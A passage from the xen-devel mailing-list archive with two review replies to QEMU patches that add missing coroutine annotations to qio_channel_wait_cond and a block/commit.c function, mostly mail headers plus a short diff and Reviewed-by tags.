Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:References:Cc:To:Content-Language:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=qcppdkim1; bh=
	DCD6ryiRf2IMgIcsXdTwziYvUf4p/7Yn9QaMTtU6zJ0=; b=hq0klmAYnZP5JoJT
	sK8drUjzh7cTDgtIQP/uzz5l5uiX5a7DxfSaCuAs9qtlj9lEV5RHV9nY2c4JPlir
	IZXTWAJ4lfTzIAxbamP2ahNv18SeR9auDvEDjtkV6KQusvGpPakIPhWSeZoQcVOd
	3tTG61NL8drdtDPEtXiq99OhLsWQSaGUKv/HuR43F4GqATNNpd7R+17wPc6W6kUi
	wSF8mnXCaF4xTjT+i6m+O6Puk3xUTKyEkp64EJhYdxeOmVvOSlI14djRZXhF/Ybr
	H/7V1ha7Fnlhc+pxdFLSruCGISMvZkB4M2c51feCsRXGB6ZPO+yGEOgeR3MGmTr9
	DKslxg==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1784557711; x=1785162511; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from:references
         :cc:to:content-language:subject:user-agent:mime-version:date
         :message-id:from:to:cc:subject:date:message-id:reply-to:content-type;
        bh=DCD6ryiRf2IMgIcsXdTwziYvUf4p/7Yn9QaMTtU6zJ0=;
        b=duLlAJ2qredleZC7jICgJoUXgOGZbsEIVyvptrFkhUqUTmC6DJMYcBk380wfkhUoHR
         i1CR5is57r0ale0uL0sl/Gs9jg6fGOW0jtN35lqCj8/aXN374CxfhcutQ5TLVDE5Fpk/
         LbtzKgk0duNfnoKTTpqn2nn+CqA/lQQESdTyrhuAw17a7hoHZrbK946WxjWI3DHoLIsC
         ZGx+NsZdPWfIL9DBiV/tO35Mwzce27bs4YCUmdm6RkkwU+RDbMgWpFxzR0huA0fp0fe/
         RiAXvwg2QgPk6/oqNFGNbvZfhRvXk/f4Ix84a/WBi1BrRK/PK5PONArkHaEXhSKT0C86
         XgdQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784557711; x=1785162511;
        h=content-transfer-encoding:content-type:in-reply-to:from:references
         :cc:to:content-language:subject:user-agent:mime-version:date
         :message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=DCD6ryiRf2IMgIcsXdTwziYvUf4p/7Yn9QaMTtU6zJ0=;
        b=BxDokZXN110LT0LFxZ6fhuasyrGXTe8GWS5L/FadOSdGxj93d3CxKfril4Moabt1Y5
         Mv4cZpgk56HCENAHaNuAxHYW5P5fgwgV/bB6oUPLYjZLAMXywdYTE5NmnO6TeGahTOTz
         iADIMjS2JJfLwaCr+d1a/acO8Qy1b3hucFhOX/6UMrtW+WwcXvWEUH4ZEMXkz+QsMTQN
         YT5+r1Sutu9E7fqoUtFSrPbhCbxmVMRvEPVIcqu7GkgwZGMj/myP9tJz+FWT3xedPQRG
         4kQJdfOO9NwjFJiq1QL1anl3SrZBgPy1tjAoZsD3Q+WGz+Jb7bi1ZEG8S5zLHSkRdhET
         xKJw==
X-Forwarded-Encrypted: i=1; AHgh+Rr4U+cnU8+MjyQJi5lInFmzb24m5Zck95rQoRRKJfFhi/Edya6kRR/sZHNF8ock/kui1r6z4JDrSco=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yw4N0KiY80KPN3tLjMcl18nmiNlbsN2481f2X7veJvYbd98NDSv
	AkkK0cgJ9XmVrUJ9s3y0GV7P8ZMjEEep7rbvi8gwftUrn41kEMoccY80RHp2BPL05jwONR1qMWo
	t0vH3P0ep5vCI0LPKiU+Wno/Q+UsU6WWvkHnUfkXQ1wmt953hIsx9jPyAiB+8zkqmocpyHw==
X-Gm-Gg: AfdE7cnwanPFiwGwyUf3NLwbIObi+x7bsoV38+bypY0pUBNAL+j9JYcnBqJbCu/yQVI
	ShLj501tgkIyCVWRZ2uNtGlTqJZOFoS40dfrbNrBNnYAFen6bGAHMEygxvyR1DFTvk7yM/LqPhK
	d2ajZG4e0+RHdrke1UKnhKfgOnI+TSIr2EiHNMJxEfoTTw6mThBusQX8hJOyXmgv+ZrepakERtt
	3l0tp+jc180Q+dO2oW+g+/3DqK02pBwJV+ad4ep3e1nM8pW3QfahPceFhO8qgwqIvGXmeS43ekE
	OmTZ/+x6UOtJUHIJvcG2IddoG7/FkDPrvnPBlauvTkz8LJTZGcno38dak2B2uCZ1nLLTaAhWV42
	lQfHmHj/8TjVKX1U40ADkGOo02TvvGPV4exVMBacdAYEz56KGS5I=
X-Received: by 2002:a05:622a:11cf:b0:517:61d5:2f7b with SMTP id d75a77b69052e-5213e28e1c4mr134792681cf.56.1784557710873;
        Mon, 20 Jul 2026 07:28:30 -0700 (PDT)
X-Received: by 2002:a05:622a:11cf:b0:517:61d5:2f7b with SMTP id d75a77b69052e-5213e28e1c4mr134792291cf.56.1784557710387;
        Mon, 20 Jul 2026 07:28:30 -0700 (PDT)
Message-ID: <9420cae5-c5a8-4622-944c-172c8edff13a@oss.qualcomm.com>
Date: Mon, 20 Jul 2026 16:28:27 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 3/8] io: add missing coroutine annotation
Content-Language: en-US
To: =?UTF-8?Q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>,
        qemu-devel@nongnu.org
Cc: Markus Armbruster <armbru@redhat.com>, Peter Xu <peterx@redhat.com>,
        Fabiano Rosas <farosas@suse.de>,
        =?UTF-8?Q?Daniel_P=2E_Berrang=C3=A9?=
 <berrange@redhat.com>,
        John Snow <jsnow@redhat.com>,
        Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>,
        Kevin Wolf <kwolf@redhat.com>, Hanna Reitz <hreitz@redhat.com>,
        qemu-block@nongnu.org, Stefan Hajnoczi <stefanha@redhat.com>,
        Fam Zheng <fam@euphon.net>, "Denis V. Lunev" <den@openvz.org>,
        Christian Schoenebeck <qemu_oss@crudebyte.com>,
        Greg Kurz <groug@kaod.org>, "Michael S. Tsirkin" <mst@redhat.com>,
        Stefano Stabellini <sstabellini@kernel.org>,
        Anthony PERARD <anthony@xenproject.org>,
        "Edgar E. Iglesias" <edgar.iglesias@gmail.com>,
        xen-devel@lists.xenproject.org, Li Zhijian <lizhijian@fujitsu.com>
References: <20260720-co-v1-0-fabb4db3c204@redhat.com>
 <20260720-co-v1-3-fabb4db3c204@redhat.com>
From: =?UTF-8?Q?Philippe_Mathieu-Daud=C3=A9?= <philmd@oss.qualcomm.com>
In-Reply-To: <20260720-co-v1-3-fabb4db3c204@redhat.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzIwMDE2MSBTYWx0ZWRfX9qW+8knQyJME
 et67IDmGMSvfn0fikqCGod+xsxFAAZc+S/f2DGQqL+OFdjzmlOsstqelZS9qgnUoMYfkUsoWP+B
 5pSb3NbqDBzH99AzvPUYR7sy2kIQGPs=
X-Proofpoint-GUID: fMQFKaNXCV-Za6uy5-gTRKGL7NzA4ADt
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzIwMDE2MSBTYWx0ZWRfX9GprQGyeCSPs
 vSVTQYMrdW9suS64bagaYZflCXr40TZizPRs9VAfp2nbeUg3MC55qpAlzilq+N0BfwTTlj/exe6
 d1CAsuZmClfkUHzz0eA5xrkl5oyOcstTXb5g3FfEfaDUXFb8w6FwH3aqcLI2w2TVX/3FiyCGzNN
 CRgGBmqqdPC5Ks7VDAtDI/v29IfaTOAxST85FHlVcbcY1cbVyV9xpWGsuBf/7abcqEUo3eTxkRd
 MtLaaFsqnAhkdVHCYthq82ERomVmUaWYfup2b+e0NISbbuBmFIgRbI/mG/A8hXe0CMGSdXABGnY
 3sHdRgkJl8TS+/2yw7cNF81d6Ju8XPx8jmj39LU1DvB3UvJ5lAwDY4NgV56heOAmo4foKx0CKQn
 dMBU2fbpzY1fEu9tA8vQEjgdo4pUYKM4dYfZyZn2gIsgNagp0xmcD4dXisIudDlXkEEujuz23Y0
 eMRpyQZE5v4C/Ioeieg==
X-Proofpoint-ORIG-GUID: fMQFKaNXCV-Za6uy5-gTRKGL7NzA4ADt
X-Authority-Analysis: v=2.4 cv=foLsol4f c=1 sm=1 tr=0 ts=6a5e308f cx=c_pps
 a=EVbN6Ke/fEF3bsl7X48z0g==:117 a=4s3hRJSeHn4rkQlkrse1kQ==:17
 a=IkcTkHD0fZMA:10 a=RAioF0-LDSMA:10 a=M51BFTxLslgA:10 a=s4-Qcg_JpJYA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=u7WPNUs3qKkmUXheDGA7:22 a=gowsoOTTUOVcmtlkKump:22
 a=20KFwNOVAAAA:8 a=EUspDBNiAAAA:8 a=IcDbTAYIwZMDiq8AA74A:9 a=3ZKOabzyN94A:10
 a=QEXdDO2ut3YA:10 a=a_PwQJl-kcHnX1M80qC6:22
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-20_03,2026-07-20_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 phishscore=0 suspectscore=0 priorityscore=1501 spamscore=0 clxscore=1015
 lowpriorityscore=0 bulkscore=0 malwarescore=0 adultscore=0 impostorscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607200161
X-purgate-ID: tlsNG-42698a/1784557713-AB6D29EA-F861C5CB/0/0
X-purgate-type: clean
X-purgate-size: 1658

On 20/7/26 09:55, Marc-AndrÃƒÂ© Lureau wrote:
> Fixes: 1edf0df28409 ("io: Add qio_channel_wait_cond() helper")
> Signed-off-by: Marc-AndrÃ© Lureau <marcandre.lureau@redhat.com>
> ---
>   include/io/channel.h | 4 ++--
>   io/channel.c         | 5 +++--
>   2 files changed, 5 insertions(+), 4 deletions(-)
> 
> diff --git a/include/io/channel.h b/include/io/channel.h
> index 98485c9280a..c90ace20d53 100644
> --- a/include/io/channel.h
> +++ b/include/io/channel.h
> @@ -1016,8 +1016,8 @@ void qio_channel_wait(QIOChannel *ioc,
>    * This will work with/without a coroutine context, by automatically select
>    * the proper API to wait.
>    */
> -void qio_channel_wait_cond(QIOChannel *ioc,
> -                           GIOCondition condition);
> +void coroutine_mixed_fn qio_channel_wait_cond(QIOChannel *ioc,

Better using same alignment than below (more importantly in
a header), otherwise:

Reviewed-by: Philippe Mathieu-DaudÃ© <philmd@oss.qualcomm.com>

> +                        GIOCondition condition);
>   
>   /**
>    * qio_channel_set_aio_fd_handler:
> diff --git a/io/channel.c b/io/channel.c
> index 2853dadb684..620256f310d 100644
> --- a/io/channel.c
> +++ b/io/channel.c
> @@ -905,8 +905,9 @@ void qio_channel_wait(QIOChannel *ioc,
>       g_main_context_unref(ctxt);
>   }
>   
> -void qio_channel_wait_cond(QIOChannel *ioc,
> -                           GIOCondition condition)
> +void coroutine_mixed_fn
> +qio_channel_wait_cond(QIOChannel *ioc,
> +                      GIOCondition condition)
>   {
>       if (qemu_in_coroutine()) {
>           qio_channel_yield(ioc, condition);
> 



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 14:29:02 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 14:29:02 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366662.1616613 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlozN-0001M9-BI; Mon, 20 Jul 2026 14:29:01 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366662.1616613; Mon, 20 Jul 2026 14:29:01 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlozN-0001M2-5n; Mon, 20 Jul 2026 14:29:01 +0000
Received: by outflank-mailman (input) for mailman id 1366662;
 Mon, 20 Jul 2026 14:29:00 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <philmd@oss.qualcomm.com>) id 1wlozM-0001Lo-4Y
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 14:29:00 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlozL-00C34H-HW
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:28:59 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <philmd@oss.qualcomm.com>)
 id 6a5e30a1-5cb7-0a2a0a5109dd-0a2a45019646-12
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 16:28:59 +0200
Received: from [205.220.180.131] (helo=mx0b-0031df01.pphosted.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <philmd@oss.qualcomm.com>)
 id 6a5e30a9-5984-0a2a45010019-cddcb4838fd0-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 16:28:59 +0200
Received: from pps.filterd (m0279872.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66KDqhwi2604546
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 14:28:57 GMT
Received: from mail-qk1-f199.google.com (mail-qk1-f199.google.com
 [209.85.222.199])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4fhggg9jy4-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 14:28:57 +0000 (GMT)
Received: by mail-qk1-f199.google.com with SMTP id
 af79cd13be357-930a098ea19so609556285a.1
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 07:28:57 -0700 (PDT)
Received: from [192.168.69.219] (88-187-86-199.subs.proxad.net.
 [88.187.86.199]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63edcd13sm29900527f8f.26.2026.07.20.07.28.53
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 20 Jul 2026 07:28:55 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:References:Cc:To:Content-Language:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=qcppdkim1; bh=
	3v8X7K1Jdd2Up35z5ZRbHLpJSqQnb68dV+D2c89O4UE=; b=oLRzAaOX3A/eug7u
	mZ7WaOUOeXP0/LysfkLyx3/cgRARoLOxy8JMNj4vHPWa3pKQffeooqO0XcbmityX
	zFAGcvFTlMuqQam60omMxpmKxETtAY4P5YXM6FfGre42DF3TDq6h4Q3OI70YEotL
	Q3vF1kp6e6+50IsCojT4d1tvBP8iWEJYmsUItliNlMlbX5p/7r9f0CxSJAwqO6eZ
	RN6Z9Hy09TLUIQr+SFF0rHA8CHZJmvIqk+WQzUn+iGV6NO9ee0R6lZhr5aisc1bO
	p09gYPy9+gQDnzbgbY3wyXm4sziXjtgYGMZl2QNBZ25PIRURwi/ljIiCJ8sZM5gM
	gbxLKQ==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1784557737; x=1785162537; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from:references
         :cc:to:content-language:subject:user-agent:mime-version:date
         :message-id:from:to:cc:subject:date:message-id:reply-to:content-type;
        bh=3v8X7K1Jdd2Up35z5ZRbHLpJSqQnb68dV+D2c89O4UE=;
        b=YzfJaE6sbz76jm/OwgLwyRoNuN4pXvcKqIWFGhYota1I3UB487Ikk7R5ko3cNYKHkm
         qRS9e1S1Fx9kp6MTcDtkNSYi5V8KZ3nsosI6Y4vY5gwmPMUJuWLi8CYfFfPXXVq9tWGr
         dthzsCdg8obbgy/FV/TvcrdjnhG0LuAN5s3pNE5tIc6UKmgXXoE46TXxEnuL2EQrpOc5
         8lpO6h8LiwaaR8qzXoi08J1to0kAc+jFl4e2v9D4s6Gi/J+BKtVQbQFw+kx45lidN+0I
         kINKD7FToLghfQWLhd4NS/Lcc6MNEeLlXfZZNQ92HF+whsHBUb+dvKHHnmEEtXMHmi++
         LMQg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784557737; x=1785162537;
        h=content-transfer-encoding:content-type:in-reply-to:from:references
         :cc:to:content-language:subject:user-agent:mime-version:date
         :message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=3v8X7K1Jdd2Up35z5ZRbHLpJSqQnb68dV+D2c89O4UE=;
        b=QVR+lNa1y/XHQNQqRo+TJrabfpPHmi2xsQ4Fe+057x2kvZs+Doc0rhKE+o+87ELiQr
         GtdbB+5GsWlKz5UlNAgNwjc3bAu8ab573MdODB9YH+lz4Eg/fs5trbO25qmoZ0VXkAKm
         ThroEiMQehofbwir1Ur9Gees2M9+AtpYeBJS6x00yAagwGU9cavL+IQOmjd4/iBbp7jc
         W2qYsbdsx09LgzAk03YZpTE6RpiKXsOa4T+l2uuFAblh7nIZVsTmU/LGLxrHYRCT25J4
         yZyJjobpS1j4Jr2X4KTMX+ZmHlp4Os3OjAIs3x5yG+rdldPn2LErk5jLlmRoWngkEYr0
         2qhQ==
X-Forwarded-Encrypted: i=1; AHgh+RqohLqhS8gJ6NzfV1dQXF/tdI7+w5r4FWdmGzr8MOiJXtQdXjkQYm4oh/iE/ymb5jfyg7xr+WhdMlk=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzGieO9Vf5VaXUwqBroi32oI4Rbu4ZJdXGenw9NJ6k3cmnP2Zse
	gWKjloAkfjVRdsqZd/RU6H9JpXu7ah65fYYF6Tttc06y7HaCBhkSe8bWLVNhTa0cvKxbgQJ3Owp
	jkQjwP+xhGYFTIGG18lF57f65Z+8vVT2UqeZBg4j3+oBWZTEZK7cQOFACNOdNIKhUBk8ryw==
X-Gm-Gg: AfdE7ckMIkXJqwYkAtic6M9OJAtjkDzf/DGpbAcHJpgVzYLp3osXW44HmXk8JSs5yku
	DdTZ2GjdKUK89jp+Ns6EDHbf/ngt8nb5E169ZsYLsdQFuu/q47/OI1WUdarufCsi30hVhHmDZHb
	UfGcru+Rdy3DVHnRO2LY3C71wc7+Ngn1IJ5PS2q2vBrSO065hlEyizp83ZTZ9XhQAE5/NIQMOuf
	tzp0yqzgNf1V2VeBc+EhNpEn4snPXlH0FFdtQHnkYxDoi9mNkIRKgyh8ZhzCw5i4UM1t4bBRJx/
	pWEbVTEjWfzuQGNxbwfs4jBVqFS7mvpVq4A9GOCgpvx6+/lqarwlis2FE8K4CwYizirf64yYhlw
	5hDkVtUaN2kmq8AozREg00w3h8urvX4m7ywXqnKQrM+T6k+PMHeo=
X-Received: by 2002:ac8:5dc7:0:b0:517:8f2e:5d97 with SMTP id d75a77b69052e-5213c7e6cafmr131842411cf.22.1784557736410;
        Mon, 20 Jul 2026 07:28:56 -0700 (PDT)
X-Received: by 2002:ac8:5dc7:0:b0:517:8f2e:5d97 with SMTP id d75a77b69052e-5213c7e6cafmr131841891cf.22.1784557735937;
        Mon, 20 Jul 2026 07:28:55 -0700 (PDT)
Message-ID: <4cb0beed-b719-4fa8-a83e-09ede61ac665@oss.qualcomm.com>
Date: Mon, 20 Jul 2026 16:28:53 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 4/8] block: add missing coroutine annotation
Content-Language: en-US
To: =?UTF-8?Q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>,
        qemu-devel@nongnu.org
Cc: Markus Armbruster <armbru@redhat.com>, Peter Xu <peterx@redhat.com>,
        Fabiano Rosas <farosas@suse.de>,
        =?UTF-8?Q?Daniel_P=2E_Berrang=C3=A9?=
 <berrange@redhat.com>,
        John Snow <jsnow@redhat.com>,
        Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>,
        Kevin Wolf <kwolf@redhat.com>, Hanna Reitz <hreitz@redhat.com>,
        qemu-block@nongnu.org, Stefan Hajnoczi <stefanha@redhat.com>,
        Fam Zheng <fam@euphon.net>, "Denis V. Lunev" <den@openvz.org>,
        Christian Schoenebeck <qemu_oss@crudebyte.com>,
        Greg Kurz <groug@kaod.org>, "Michael S. Tsirkin" <mst@redhat.com>,
        Stefano Stabellini <sstabellini@kernel.org>,
        Anthony PERARD <anthony@xenproject.org>,
        "Edgar E. Iglesias" <edgar.iglesias@gmail.com>,
        xen-devel@lists.xenproject.org, Li Zhijian <lizhijian@fujitsu.com>
References: <20260720-co-v1-0-fabb4db3c204@redhat.com>
 <20260720-co-v1-4-fabb4db3c204@redhat.com>
From: =?UTF-8?Q?Philippe_Mathieu-Daud=C3=A9?= <philmd@oss.qualcomm.com>
In-Reply-To: <20260720-co-v1-4-fabb4db3c204@redhat.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Proofpoint-ORIG-GUID: Egj4II8w3yOK8GXBEga1uFQSHdjcfQwu
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzIwMDE2MSBTYWx0ZWRfXzMs5rRvVoFmV
 Emmyp0Bs6FHgwpP7hLDszSXdCJkOJhi+Kr92mqWliHGUYGJ/z9W/oq/M7Mdv0axUxgIdOqENTgd
 No4TTIrDdnhLR1gWI//69QHrZxfijx9j2NfCq0tDZo7dZllHUp2PL5K/J85M4Eyez6rC07lwOtU
 8U04K2/DGT+EKJWld9G5VZ2ImCouxWFsUy2vT/qGrKlyCcC6PpCuW8Ikq5aAIiByNJMLacOJqtP
 xYZd4zoH1dBujzqsqVlVU7RnB13GItaY5c61ALczmyeniT1EGyHpuJ1a7BY8Ny9PUpX23sO4hRL
 NCLxBx/u8zgh84sDiIh79jIvzxVnNcOaRqC+HWNxgy6VUEJH9k61MxwJlVsgFG1YEMmGp0tFud8
 OgIUoXw30W0NrQj0SLBKfZfR1VSOb5gJkvwL1XSrab1mUDNQqVZOGOrqrNxX8TLYizgQmlOgm4M
 jfWgv6JhFqcEAwxKOTw==
X-Authority-Analysis: v=2.4 cv=RPmD2Yi+ c=1 sm=1 tr=0 ts=6a5e30a9 cx=c_pps
 a=HLyN3IcIa5EE8TELMZ618Q==:117 a=4s3hRJSeHn4rkQlkrse1kQ==:17
 a=IkcTkHD0fZMA:10 a=RAioF0-LDSMA:10 a=M51BFTxLslgA:10 a=s4-Qcg_JpJYA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=u7WPNUs3qKkmUXheDGA7:22 a=yx91gb_oNiZeI1HMLzn7:22
 a=20KFwNOVAAAA:8 a=EUspDBNiAAAA:8 a=1tSEMpTH9XP_W59IOagA:9 a=3ZKOabzyN94A:10
 a=QEXdDO2ut3YA:10 a=bTQJ7kPSJx9SKPbeHEYW:22
X-Proofpoint-GUID: Egj4II8w3yOK8GXBEga1uFQSHdjcfQwu
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzIwMDE2MSBTYWx0ZWRfXwDHC97AVCdbg
 WIEpLcwYaaMqDTyxJG9yXPYHQHJGpt+oMZ6Fh9qGi//4UAkLHZihdD/7hk3FCcgMDilJxmgT94o
 1nlGW0q+lkzJiFfQAc4+l3CkUzLJUx0=
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-20_03,2026-07-20_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 phishscore=0 impostorscore=0 clxscore=1015 priorityscore=1501
 lowpriorityscore=0 spamscore=0 bulkscore=0 malwarescore=0 adultscore=0
 suspectscore=0 classifier=typeunknown authscore=0 authtc= authcc=
 route=outbound adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607200161
X-purgate-ID: tlsNG-d62444/1784557739-1DE78757-4A8F276E/0/0
X-purgate-type: clean
X-purgate-size: 413

On 20/7/26 09:55, Marc-AndrÃƒÂ© Lureau wrote:
> The function was extracted without carrying the annotation.
> 
> Fixes: 23743ab282af ("block: move commit_run loop to separate function")
> Signed-off-by: Marc-AndrÃ© Lureau <marcandre.lureau@redhat.com>
> ---
>   block/commit.c | 5 +++--
>   1 file changed, 3 insertions(+), 2 deletions(-)

Reviewed-by: Philippe Mathieu-DaudÃ© <philmd@oss.qualcomm.com>


From xen-devel-bounces@lists.xenproject.org Mon Jul 20 14:29:02 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 14:29:02 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366663.1616621 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlozO-0001Z9-Fy; Mon, 20 Jul 2026 14:29:02 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366663.1616621; Mon, 20 Jul 2026 14:29:02 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlozO-0001Yx-Bs; Mon, 20 Jul 2026 14:29:02 +0000
Received: by outflank-mailman (input) for mailman id 1366663;
 Mon, 20 Jul 2026 14:29:01 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wlozM-0001Lw-Sv
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 14:29:01 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlozM-00C389-9r
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:29:00 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5e308d-2eae-0a2a0a5409dd-0a2a450cc7c8-46
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 16:29:00 +0200
Received: from [209.85.128.54] (helo=mail-wm1-f54.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5e30ac-f479-0a2a450c0019-d1558036d9ba-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 16:29:00 +0200
Received: by mail-wm1-f54.google.com with SMTP id
 5b1f17b1804b1-4954a32cf1eso12712325e9.3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 07:29:00 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63ec7c69sm32497340f8f.17.2026.07.20.07.28.58
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 20 Jul 2026 07:28:59 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
